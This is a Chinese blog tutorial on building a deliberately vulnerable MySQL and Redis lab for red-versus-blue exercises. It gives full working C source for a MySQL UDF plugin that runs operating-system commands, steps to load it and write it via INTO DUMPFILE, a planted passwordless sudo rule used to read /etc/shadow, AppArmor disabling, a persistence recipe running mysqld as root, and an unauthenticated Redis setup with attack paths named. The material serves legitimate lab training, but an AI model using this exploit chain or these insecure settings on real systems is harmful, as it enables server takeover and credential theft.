Administrator
发布于 2026-08-26 / 84 阅读
0
0

MySQL与Redis

前言

核心数据区的搭建是重中之重,这里不仅是数据的终点,也是红队进行UDF提权和Redis未授权访问演练的关键靶点,但由于要求环境纯净且包含特定漏洞版本,我们在搭建时强烈建议使用 Docker 进行部署,这样既能隔离环境,又能快速重置。

准备宿主机与网络

  • 创建虚拟机:在 PVE 中新建一台 Ubuntu Server 22.04 虚拟机。

  • 网络设置:添加一张网卡,桥接选择 vmbr4 (VLAN 40)。

  • 系统配置:安装好系统后,配置静态 IP。

配置静态 IP (Ubuntu Netplan)
我们需要静态IP文件 /etc/netplan/文件名:

1network:
2  version: 2
3  renderer: networkd
4  ethernets:
5    ens18:    # 根据你的实际网卡名修改
6      dhcp4: no
7      addresses:
8        - ip         # 宿主机IP,方便管理
9      routes:
10        - to: default
11          via: 网关ip  # 指向pfSense的VLAN40网关IP
12      nameservers:
13        addresses: [10.0.4.1, 223.5.5.5] # DNS指向网关或公网DNS
  • 安装 Docker

# 1 下载
curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun

# 2 开机自启
sudo systemctl enable docker

# 3 启动
sudo systemctl start docker

第一步:装 MySQL

1# 1. 更新软件源 + 安装 MySQL 服务器和客户端
sudo apt update
sudo apt install mysql-server mysql-client -y

# 2. 启动 MySQL,并设置开机自启
sudo systemctl start mysql
sudo systemctl enable mysql

# 3.【重点】看一眼 MySQL 现在是用哪个用户在跑
ps aux | grep mysqld | grep -v grep

 看最后一行最左边那一列:现在应该显示 mysql(普通用户)。记住这个,等下我们要把它改成 root。


第二步:进数据库,摸清几个关键信息

这一步是整个 MySQL UDF 提权攻击 的“侦察”阶段。

在红蓝对抗或渗透测试中,你不能盲目攻击,必须通过这几条命令确认“路通不通”。

以下是这 4 条命令的具体战术意图:

1. SELECT VERSION(); —— 确认武器库

  • 目的:确认 MySQL 的具体版本(例如是 5.7 还是 8.0)。

  • 原因:UDF 提权依赖动态链接库(.so 文件)。不同版本的 MySQL,其内部函数结构不同,对应的 .so 文件也是不通用的。

    • 如果是 5.x 版本,通常使用 lib_mysqludf_sys.so。

    • 如果是 8.0+ 版本,由于安全机制升级,老式的 UDF 提权往往失效,需要换用其他手法。

    • 因为靶场清单里写的是 5.7.x,所以这一步是为了确保我们编译或下载的 exp 文件版本匹配。

2. SHOW VARIABLES LIKE 'plugin_dir'; —— 寻找“弹药库”入口

  • 目的:找到 MySQL 存放插件的绝对路径。

  • 原因:这是 UDF 提权的核心,DF 提权的原理就是把一个恶意的 .so 文件上传到服务器,然后告诉 MySQL:“嘿,加载这个插件”。

    • MySQL 强制要求这个文件必须放在 plugin_dir 指定的目录下。

    • 如果不知道这个路径,我们就不知道把木马传到哪里去。

    • 通常路径是 /usr/lib/mysql/plugin/,但为了严谨,必须查一下。

3. SHOW VARIABLES LIKE 'secure_file_priv'; —— 检查“安检门”

  • 目的:查看 MySQL 是否限制了文件的导入和导出。

  • 原因:这是 UDF 提权最大的拦路虎。

    • 如果是 NULL:表示禁止导入导出,UDF 提权直接失败(除非我们有更高权限去改配置)。

    • 如果是空值 (Empty):表示没有限制,我们可以把 .so 文件写入到任何有权限的目录(包括上面的 plugin_dir)。

    • 如果是具体路径:表示只能往那个特定文件夹写东西。

    • 在靶场环境中,我们通常希望这里是空的,或者至少包含 plugin_dir 的路径,否则后续的 INTO DUMPFILE 语句会报错。

4. SELECT USER(), CURRENT_USER(); —— 确认“身份权限”

  • 目的:确认你当前登录的账号是谁,以及拥有的权限级别。

  • 原因:

    • UDF 提权通常需要 ROOT 权限(或者拥有 FILE、INSERT 权限的高权账号)。

    • 如果你登录进去发现只是一个普通的 www-data 或者低权用户,那你连创建自定义函数的资格都没有,后续操作全是白费力气。

    • USER() 显示你尝试登录的用户,CURRENT_USER() 显示数据库实际认证的用户,两者对比可以看出是否存在匿名账户登录等特殊情况。

5.实操步骤

# 用 root 身份登录 MySQL(Ubuntu 默认这样就能进,不用密码)
sudo mysql

进去后你会看到 mysql> 提示符,依次敲这 4 条(每条结尾有分号,敲完回车):

-- 看 MySQL 版本
SELECT VERSION();
 
-- 看插件该放哪个文件夹(记下来!)          
SHOW VARIABLES LIKE 'plugin_dir';

-- 看文件导出限制
SHOW VARIABLES LIKE 'secure_file_priv';

-- 看当前是谁
SELECT USER(), CURRENT_USER();             

总结

做这一步就是为了回答三个问题:

  1. 我有权限吗? (User check)

  2. 我能把文件传进去吗? (secure_file_priv check)

  3. 我要把文件传到哪里? (plugin_dir check)

确认这三点无误后,你才能进行下一步:编译/上传恶意 .so 文件并创建函数


第三步:编译 UDF 提权插件(核心)

在渗透测试中,我们常说的 UDF 提权,本质上就是利用 MySQL 数据库的功能,去执行操作系统的命令。

为什么要编译这个 .so 文件?

  1. MySQL 本身不懂系统命令
    MySQL 是一个数据库软件,它只懂 SQL 语言(增删改查),它默认是没有 system() 或 exec() 这种功能的,所以我们不能直接在 SQL 里输入 SELECT system('whoami'),因为它不认识这个函数。

  2. UDF 是 MySQL 的“扩展接口”
    UDF 的全称是 User Defined Function(用户自定义函数),MySQL 允许开发者编写 C/C++ 代码,编译成动态链接库(在 Linux 下就是 .so 文件),然后加载进数据库里。

    • 正常用途:程序员用它来写一些复杂的数学计算或字符串处理函数。

    • 黑客用途:我们在 C 代码里调用 Linux 的系统函数(如 system()、popen()),把这个能力“注入”到 MySQL 里。

  3. 代码里的两个核心函数
    你贴出的这段 C 代码,实际上定义了两种“武器”:

    • sys_exec:对应代码里的 return system(args->args[0]);,它的功能是盲打,执行命令(比如反弹 Shell、创建用户),但不返回结果给你看,只返回成功与否的状态码。

    • sys_eval:对应代码里的 popen(...),它的功能是回显——执行命令(比如 whoami、id、cat /etc/passwd),并且把命令的执行结果作为字符串返回给 SQL 查询结果。

  4. 为什么要自己编译?

    • 环境匹配:虽然网上有现成的 .so 文件,但不同版本的 MySQL(5.5, 5.6, 5.7)和不同的操作系统(CentOS, Ubuntu)对库文件的依赖不同,直接拿别人的文件可能会报错(比如 Symbol not found)。

    • 免杀/定制:自己编译可以确保代码逻辑完全符合当前靶场的环境,而且如果是真实对抗,现成的 Exp 很容易被杀毒软件识别,自己微调编译能提高成功率。

实操步骤

这一步是生成那个"外挂函数"文件 lib_mysqludf_sys.so。

# 1. 回到你的家目录,清掉旧文件(如果有的话)
cd ~
3rm -f udf_sys.c lib_mysqludf_sys.so

然后把下面整段复制粘贴进终端,回车(它会创建一个叫 udf_sys.c 的源代码文件):

cat > udf_sys.c << 'EOF'
#define _GNU_SOURCE
#include <mysql.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <stdbool.h>

typedef bool my_bool;

/* ---------- sys_eval: 执行命令,返回输出 ---------- */
char *sys_eval(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) {
    if (!args->args[0]) { *is_null = 1; return NULL; }

    FILE *fp = popen(args->args[0], "r");
    if (!fp) { *is_null = 1; return NULL; }

    char *buf = initid->ptr;                      /* 用 initid 缓冲区,线程安全 */
    size_t len = fread(buf, 1, initid->max_length - 1, fp);
    buf[len] = '\0';
    pclose(fp);

    *is_null = 0;
    return buf;
}

my_bool sys_eval_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
    if (args->arg_count != 1) {
        strcpy(message, "sys_eval() needs 1 argument");
        return 1;
    }
    args->arg_type[0] = STRING_RESULT;   /* 强制 MySQL 把参数转成字符串 */
    initid->maybe_null = 1;
    initid->max_length = 65535;
    initid->const_item = 0;
    if (!(initid->ptr = (char *)malloc(initid->max_length))) {
        strcpy(message, "malloc failed");
        return 1;
    }
    return 0;
}

void sys_eval_deinit(UDF_INIT *initid) {
    if (initid->ptr) { free(initid->ptr); initid->ptr = NULL; }
}

/* ---------- sys_exec: 执行命令,返回退出码 ---------- */
long long sys_exec(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) {
    if (args->arg_count != 1 || !args->args[0]) return -1;
    return system(args->args[0]);
}

my_bool sys_exec_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
    if (args->arg_count != 1) {
        strcpy(message, "sys_exec() needs 1 argument");
        return 1;
    }
    args->arg_type[0] = STRING_RESULT;
    return 0;
}

void sys_exec_deinit(UDF_INIT *initid) {}
EOF

接着编译它:

# 2. 确认文件创建好了(能看到 #define _GNU_SOURCE 就对了)
head -8 udf_sys.c

# 3.【编译】把源代码变成 .so 插件文件
gcc -fPIC -shared -I/usr/include/mysql -o lib_mysqludf_sys.so udf_sys.c

 总结

这一步做完,我们就拥有了一个“特洛伊木马”插件,接下来,我们只需要把这个 .so 文件扔进 MySQL 的插件目录(第二步查到的路径),然后在 SQL 里注册一下,我们的 MySQL 就瞬间变成了一个“可以远程执行系统命令的后门”。(这里建议留给红队选手去做,所以红队需要多研究一下【思路混乱可跳看第八】,蓝队我建议配置SUID或者sudo漏洞)

作为蓝队,我们需要手动在靶机上“埋雷”(配置 SUID 或 sudo 漏洞),以 sudo 配置错误 为例(因为 SUID 在 Ubuntu 24.04 上配置稍微麻烦一点,而 sudo 漏洞只需改一行配置)。


蓝队实操指南:如何“埋雷”

第一步:保持 MySQL 默认状态(不要改成 root)

确保你的 MySQL 还是默认的 mysql 用户运行。

bash

ps aux | grep mysqld | grep -v grep

# 第一列输出应该是 mysql

第二步:给 mysql 系统用户配置 sudo 漏洞

我们要让 mysql 这个系统用户,能够以 root 权限执行某个无害的命令,这里我们拿 cat 命令开刀。

  1. 编辑 sudoers 文件(必须用 visudo,千万别用 nano 直接改,改错会锁死系统):

sudo visudo
  1. 在文件最末尾,加上这一行:

mysql ALL=(ALL:ALL) NOPASSWD: /usr/bin/cat

(解释:允许 mysql 用户,在任何主机上,以任何用户身份,免密码执行 /usr/bin/cat)

  1. 保存退出(如果是 vim:按 Esc,输入 :wq,回车)。

第三步:验证漏洞是否埋好

在终端里测试一下,能不能用 mysql 身份读到只有 root 能读的文件:

sudo -u mysql sudo cat /etc/shadow

成功标志:如果终端打印出了 root:$y$j9T... 这种哈希密码,说明漏洞完美生效!


第四步:把插件放进 MySQL 的插件目录

这一步在整个攻击链条中扮演的是“武器部署与上膛”的关键环节。

如果说第三步编译 .so 文件是“制造弹药”,那么这一步就是把弹药精准地送进枪膛。以下是具体原因解析:

1. 为什么必须放进 plugin_dir?(寻找正确的枪膛)

  • MySQL 的安全与加载机制:MySQL 在加载外部动态链接库时,强制要求文件必须存放在其官方指定的插件目录(即你在第二步查到的 plugin_dir,通常是 /usr/lib/mysql/plugin/)中。

  • 防越权限制:如果你把文件放在 /tmp 或者其他任意目录下,即使你执行了 CREATE FUNCTION 语句,MySQL 也会拒绝加载并报错。这是为了防止攻击者随意在系统中植入恶意代码。

2. 为什么要执行 chmod 755?(确保武器能正常击发)

  • 执行权限要求:.so 文件是动态链接库,MySQL 在调用它时,需要对其进行读取和执行操作。

  • 避免加载失败:如果文件权限过低(例如只有 644),MySQL 进程(通常以 mysql 用户运行)可能没有权限去读取或执行它,导致提权在“临门一脚”时失败。赋予 755 权限(所有者可读写执行,其他人可读和执行)是保证 MySQL 能够顺利加载该插件的标准做法。

3. 为什么要用 file 命令验证?(验明正身,防止哑弹)

  • 确认文件格式:file 命令用于检查文件的真实类型。看到 ELF 64-bit LSB shared object, x86-64,说明这确实是一个 64 位 Linux 系统能识别的动态链接库。

  • 防止传输损坏:在复制、传输或编译过程中,文件可能会损坏或变成纯文本。如果文件损坏,MySQL 加载时会报出类似 Can't open shared library 的底层错误。提前验证可以节省排错时间。

靶场实战补充提示

在真实的红蓝对抗或渗透测试中,攻击者往往没有这台服务器的 SSH 登录权限,也无法直接使用 sudo cp 命令。

因此,在靶场环境中,除了手动复制,你还需要掌握如何通过 SQL 语句 直接将 .so 文件“隔空”写进这个目录。通常的做法是:

  1. 将编译好的 .so 文件转换为十六进制字符串(Hex)。

  2. 在 MySQL 中执行类似 SELECT UNHEX('...') INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so'; 的语句。

# 1. 复制到第二步记下的 plugin_dir(一般是这个路径)
sudo cp ~/lib_mysqludf_sys.so /usr/lib/mysql/plugin/lib_mysqludf_sys.so

# 2. 给它正确的权限
sudo chmod 755 /usr/lib/mysql/plugin/lib_mysqludf_sys.so

# 3. 验证文件没坏(看到 "ELF 64-bit ... x86-64" 就对了)
file /usr/lib/mysql/plugin/lib_mysqludf_sys.so

总结:
这一步确保了你的“木马插件”被放在了 MySQL 唯一认可的位置,并且拥有被加载所需的权限。


第五步:在数据库里"注册"这个外挂函数

这一步是整个 UDF 提权攻击链条中“武器上膛并试射”的关键环节。

前面几步我们造好了武器(编译 .so),也把它放进了指定的枪膛(放入 plugin_dir),现在就是要让 MySQL 知道这个武器的存在,并测试它是否好用。

以下是这四个步骤的具体战术意图:

1. 为什么要先执行 DROP FUNCTION IF EXISTS?

  • 清理战场,防止冲突:在渗透测试或靶场复现中,你可能之前尝试过或者别人已经尝试过提权。如果数据库中已经存在同名的函数,再次执行 CREATE FUNCTION 就会报错(提示函数已存在)。

  • 确保状态干净:先删后建,是自动化脚本和黑客工具中最稳妥的“防呆”设计,确保你接下来创建的函数绝对是你自己刚刚放进去的那个 .so 文件。

2. 为什么要执行 CREATE FUNCTION ... SONAME?

  • 告诉 MySQL 去加载武器:仅仅把 .so 文件放在目录里是不够的,MySQL 默认不会去扫描并加载所有插件。CREATE FUNCTION 就是向 MySQL 注册这个新函数。

  • 建立映射关系:这条语句明确告诉 MySQL:“以后我在 SQL 里调用 sys_eval 这个函数时,你就去 lib_mysqludf_sys.so 这个文件里找对应的 C 语言代码并执行它”。

3. 为什么要用 SELECT sys_eval('id') 进行测试?

  • 验证武器是否卡壳:注册成功后,必须立刻测试。如果编译有问题、路径不对、或者权限不足,MySQL 会在这里直接报错。

  • 确认当前运行身份:执行 id 命令是为了摸清当前 MySQL 服务是以什么身份在跑。你看到了 uid=110(mysql),这说明 MySQL 服务是以普通的 mysql 用户运行的,而不是 root。

核心认知:为什么此时还是 mysql 用户?

你可能会疑惑:既然是提权,为什么 id 出来不是 root?

  • UDF 的本质是继承权限:UDF 函数是在 MySQL 的进程内部执行的。它继承了谁的身份,取决于 MySQL 服务启动时的身份。

  • 靶场环境差异:在很多真实的 Linux 服务器中,为了安全,MySQL 默认是以 mysql 普通用户运行的。如果是这样,UDF 提权只能帮你执行 mysql 权限下的命令(比如读某些文件、写 /tmp 目录),无法直接拿到 root。

  • 真正的提权场景:如果靶场管理员配置失误,或者你在 Windows 环境下(MySQL 经常以 SYSTEM 权限运行),你执行 id 或 whoami 就会直接看到 root 或 SYSTEM,那就是真正的“一步到位”提权成功。

4. 为什么要套 CAST(... AS CHAR)?

  • 数据类型转换:MySQL 在处理 UDF 返回的二进制数据或特定字符串时,有时会将其作为二进制流(Binary)返回。在命令行客户端中,二进制流会被显示为十六进制编码(如 0x7569643d...)。

  • 强制明文显示:使用 CAST(... AS CHAR) 强制 MySQL 将结果转换为标准的字符集,这样你就能在终端里直接看到 uid=110... 这样的明文结果,方便你确认命令是否执行成功。

sudo mysql

进去后敲这 4 条:

DROP FUNCTION IF EXISTS sys_eval;

DROP FUNCTION IF EXISTS sys_exec;

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';

CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';

先测试一下(这时还是普通用户):

SELECT CAST(sys_eval('id') AS CHAR);
# 如果数据表出现 NULL 使用下面方案

# 方案 A:临时关闭AppArmor,但重启机器会恢复拦截。
sudo systemctl stop apparmor
sudo systemctl start mysql
# 成功的话,也可以设置开机不启动 AppArmor(靶机最省事)
sudo systemctl disable apparmor

# 方案 B:装工具走 complain(更规范)
sudo apt install -y apparmor-utils
sudo aa-complain /usr/sbin/mysqld
sudo systemctl start apparmor

应该看到 uid=110(mysql) ... —— 说明外挂装好了,能执行命令了,但身份还是 mysql,不是 root。

总结:
这一步完成了从“数据库操作”到“操作系统命令执行”的跨越。虽然当前身份是 mysql,但只要你掌握了命令执行的能力,就可以通过寻找 SUID 程序、内核漏洞或计划任务(Cron)等手段进行下一步的本地提权,最终拿下 Root。


第六步:把 MySQL 改成用 root 运行(提权的最后一步)

这是最关键的一步。必须改两个地方,少改一个都不行——因为 MySQL 有个机制:就算你用 root 启动它,它也会自己偷偷降回普通用户。

# 【改动1】改 MySQL 配置文件,告诉它"别降权,就用 root"
sudo sed -i 's/^user.*=.*mysql/user\t\t= root/' /etc/mysql/mysql.conf.d/mysqld.cnf

# 检查一下改对没(应该显示 user = root)
grep '^user' /etc/mysql/mysql.conf.d/mysqld.cnf

简单来说为什么要做这一步:因为 Linux 的安全机制规定,类似户就是"下属"不能比"上司"的权限大。

通俗的类比来解释:

1. 核心原理:进程是谁开的,权限就是谁的

  • MySQL 服务(mysqld) 本质上就是一个在后台运行的程序(进程)。

  • 当你在 SQL 里执行 sys_eval('id') 时,MySQL 程序会调用系统的 popen 或 system 函数去执行这个命令。

  • 关键点来了:MySQL 程序执行命令时,是代表它自己去执行的。

    • 如果 MySQL 是以 mysql 用户身份运行的,它调用的命令也就是 mysql 用户的权限。

    • 如果 MySQL 是以 root 身份运行的,它调用的命令就是 root 权限。

2. 为什么要改配置?(安全机制)

你可能会问:"我登录数据库用的是 root 账号(SQL 里的 root),为什么不行?"

  • SQL 的 root 不等于 系统的 root:数据库里的 root 只是管理数据的最高权限,它管不了操作系统。

  • 默认的安全策略:Ubuntu/Debian 安装 MySQL 时,为了防止数据库被黑客攻破后直接控制整台服务器,特意配置了让 mysqld 进程以低权限的 mysql 用户运行。

    • 现状:即使黑客攻破了数据库,拿到了 SQL root 权限,利用 UDF 执行命令时,也只是一个普通的 mysql 用户,没法修改系统核心文件(比如 /etc/shadow),也没法安装后门。

    • 我们的操作:我们在第六步修改配置文件(mysqld.cnf 和 systemd),其实就是人为地解除了这个安全限制,强制让 MySQL 以最高权限运行。

# 【改动2】改系统启动配置,让 MySQL 以 root 身份启动
sudo mkdir -p /etc/systemd/system/mysql.service.d

printf '[Service]\nUser=root\n' | sudo tee /etc/systemd/system/mysql.service.d/override.conf

# 让改动生效 + 重启 MySQL
sudo systemctl daemon-reload
sudo systemctl restart mysql

# 【验证】看第一列是不是变成 root 了
ps aux | grep mysqld | grep -v grep

怎么算成功:最后一行最左边那一列从 mysql 变成了 root。


第七步:收网,见证 root

sudo mysql

SELECT CAST(sys_eval('id') AS CHAR);

SELECT CAST(sys_eval('whoami') AS CHAR);

最终成功标志:

uid=0(root) gid=0(root) groups=0(root)

root

看到 uid=0(root) 和 root —— 恭喜,UDF 提权闭环完成!  我们现在通过一条 SQL 语句,就以系统最高权限执行命令了。


第八:红队视角衔接第三步

这里衔接第三步:背景:你拿到了一个 MySQL 的 root 账号密码,请尝试通过数据库,最终读取 /etc/shadow 文件内容。

红队操作流:

1. 登录数据库,安装 UDF 插件

-- 登录数据库
mysql -u root -p -h 目标IP

-- 查看插件目录
5SHOW VARIABLES LIKE 'plugin_dir';
-- 假设输出是 /usr/lib/mysql/plugin/

-- 上传/写入 lib_mysqludf_sys.so 到该目录(略)

-- 注册函数
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';

2. 发现当前是低权限

SELECT CAST(sys_eval('id') AS CHAR);
-- 输出: uid=110(mysql) gid=110(mysql)
-- 红队意识到:直接改系统文件不行,必须寻找提权点。

3. 侦察 sudo 漏洞

-- 检查当前用户有没有 sudo 权限
SELECT CAST(sys_eval('sudo -l') AS CHAR);

红队看到输出:

Matching Defaults entries for mysql on this host:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User mysql may run the following commands on this host:
    (ALL:ALL) NOPASSWD: /usr/bin/cat

(红队需要发现可以免密 sudo cat!)

4. 利用漏洞,完成提权

-- 既然能 sudo cat,那直接读最高机密
2SELECT CAST(sys_eval('sudo cat /etc/shadow') AS CHAR);

红队看到:root:$y$j9T...,提权成功!


进阶玩法:如果红队想“持久化”(彻底接管 MySQL)

在上面的第 4 步之后,红队已经拿到了系统 root 权限。此时红队可以通过 UDF 执行以下命令,把 MySQL 彻底变成 root 运行,实现“持久化后门”:

-- 1. 修改 MySQL 配置文件
SELECT sys_exec('sed -i "s/^user.*=.*mysql/user\t\t= root/" /etc/mysql/mysql.conf.d/mysqld.cnf');

-- 2. 修改 systemd 配置
SELECT sys_exec('mkdir -p /etc/systemd/system/mysql.service.d');
SELECT sys_exec('echo -e "[Service]\nUser=root" > /etc/systemd/system/mysql.service.d/override.conf');

-- 3. 重启 MySQL 服务
SELECT sys_exec('systemctl daemon-reload && systemctl restart mysql');

执行完这三步后,红队再次执行 SELECT CAST(sys_eval('id') AS CHAR);,就会发现以后不用 sudo,直接就是 root 了。


总结

这个方案的精髓在于:UDF 只是敲门砖,真正的提权靠的是 Linux 系统的配置失误。
作为蓝队,我们只需要执行第二步(visudo 加一行),就能给红队创造出一个极其精彩的实战演练环境!

一张图看懂全流程

装 MySQL (mysqld 以 mysql 用户跑)
        ↓
编译 UDF 插件 → 放进 plugin_dir → 在数据库注册 sys_eval
        ↓
测试: sys_eval('id') → uid=110(mysql)  能执行命令,但还不是root
        ↓
改两处配置(mysqld.cnf + systemd) → 重启 → mysqld 以 root 跑
        ↓
sys_eval('id') → uid=0(root)   提权成功!

常见问题速查

现象

原因

解决

gcc 报 mysql.h: No such file

缺开发头文件

sudo apt install libmysqlclient-dev -y

CREATE FUNCTION 报找不到 so

so 没放对目录

用 SHOW VARIABLES LIKE 'plugin_dir'; 查真实路径

查询结果是 0x6d79... 乱码

没加 CAST

改成 SELECT CAST(sys_eval('id') AS CHAR);

重启后 ps 第一列还是 mysql

只改了一处配置

第六步的【改动1】和【改动2】都要做

restart mysql 后连不上

配置改坏了

grep '^user' /etc/mysql/mysql.conf.d/mysqld.cnf 检查

搭建 Redis 4.0 (未授权访问)

第一步:PVE 虚拟机配置

  1. 新建虚拟机:在 PVE 中创建一台新的 Ubuntu Server 虚拟机。

  2. 网络设置(关键):

    • 网卡:添加一块网卡,桥接至 vmbr4 (对应 VLAN 40)。

    • IP配置:进入系统后,配置静态 IP:

      • IP地址:10.0.4.40

      • 子网掩码:255.255.255.0 (/24)

      • 网关:指向核心数据区的网关(通常是 pfSense 上对应 VLAN 40 接口的 IP)。


第二步:安装 Redis

登录到这台 Reids 的Ubuntu 终端,执行安装命令:

sudo apt update
sudo apt install -y redis-server redis-tools

第三步:修改配置文件

这一步是整个 Redis 漏洞利用的“开门”与“卸下护城河”环节。

在红蓝对抗靶场中,我们之所以需要修改这四个配置,是因为 Redis 官方为了兼顾“易用性”和“安全性”,在默认配置中设置了一系列防线,为了模拟真实环境中管理员的疏忽,我们必须把这些防线拆除。

以下是这四个配置修改的深层原因:

1. 为什么要改 bind 0.0.0.0?(打开大门)

  • 默认防御:Redis 默认配置是 bind 127.0.0.1,这意味着它只允许本机(Localhost)访问。

  • 靶场需求:攻击者(红队)在 DMZ 区或其他网段,需要通过内网 IP(10.0.4.40)远程连接这台 Redis,如果不改成 0.0.0.0(或者具体的内网 IP),外部网络请求在 TCP 层就会被直接拒绝。

2. 为什么要改 protected-mode no?(拆除护城河)

  • 默认防御:这是 Redis 3.2 之后引入的安全机制,当 Redis 发现没有设置密码(requirepass 为空),且绑定了 0.0.0.0 时,保护模式会自动开启,此时,虽然端口对外开放,但 Redis 会拒绝所有外部 IP 的读写请求,只允许本地访问。

  • 靶场需求:因为我们故意没有设置密码,一旦打开了 bind 0.0.0.0,保护模式就会立刻生效并拦截红队,只有显式地将其改为 no,Redis 才会真正对公网/内网的无密码请求敞开怀抱。

3. 为什么要改 daemonize yes?(确保服务存活)

  • 默认防御:默认是 no,即前台运行。

  • 靶场需求:这纯粹是为了运维稳定性。如果在前台运行,当我们关闭 SSH 终端窗口时,Redis 进程也会随之被杀掉。改为 yes 后,Redis 会变成守护进程(后台运行),保证靶场环境随时可用。

4. 为什么要注释 requirepass?(卸下门锁)

  • 默认防御:生产环境中,管理员必须在这里设置强密码,客户端连接时必须 AUTH 认证。

  • 靶场需求:未授权访问漏洞的核心触发条件就是“无密码认证”。只有确保这一行被注释掉,红队才能使用 redis-cli -h 10.0.4.40 直接连入,而无需猜测或爆破密码。

所以为了符合拓扑图中“未授权访问”的设定,我们需要“故意”把安全配置关掉。编辑配置文件:

sudo nano /etc/redis/redis.conf

请找到并修改以下四项(这是红队能利用的关键点):

  1. 允许任意 IP 连接:
    找到 bind 127.0.0.1 ::1,将其注释掉或改为:

bind 0.0.0.0

(解释:允许从 DMZ 区或其他网段直接连接 )

  1. 关闭保护模式:
    找到 protected-mode yes,改为:

protected-mode no

(解释:如果不关这个,外部连接时即使没密码也会被拒绝)

  1. 后台运行:
    找到 daemonize no,改为:

daemonize yes
  1. 关闭密码验证:
    确保 requirepass 这一行被注释掉(前面加 #),或者留空。
    (解释:实现真正的“未授权访问”)

保存并退出 (Ctrl+O, Enter, Ctrl+X)。

核心检查点:你之前修改的 bind 0.0.0.0 和 protected-mode no 才是让外部能连进来的关键。只要这两项改好了,且没有设置 requirepass,红队就可以直接通过 redis-cli -h ip 连进来,无需任何密码

核心总结

这四个步骤环环相扣:
注释密码 + 开放绑定 = 触发了 保护模式 -> 关闭保护模式 = 漏洞彻底暴露。

在真实的生产环境中,这种配置等同于“裸奔”,攻击者一旦扫描到 6379 端口,就可以直接利用 Redis 的 CONFIG SET 和 SAVE 命令,向服务器写入 SSH 公钥、反弹 Shell 计划任务或 WebShell,瞬间接管服务器。


第四步:重启服务并验证

# 重启 Redis 使配置生效
sudo systemctl restart redis-server

# 验证端口是否在监听
ss -tlnp | grep 6379

我们应该能看到 0.0.0.0:6379,说明配置成功。

第五步:测试连通性

你可以尝试从同一 VLAN 下的 MySQL 机器,或者如果防火墙允许的话,从 DMZ 区发起连接测试:

redis-cli -h ip ping

如果返回 PONG,说明这台作为靶子的 Redis 已经就绪了!

搭配防火墙配置点击:https://blog.mario123.top/archives/pfsense

免责声明

本博客内容仅供技术交流与安全研究,严禁用于非法用途,未经授权测试他人系统属违法行为,后果自负。


评论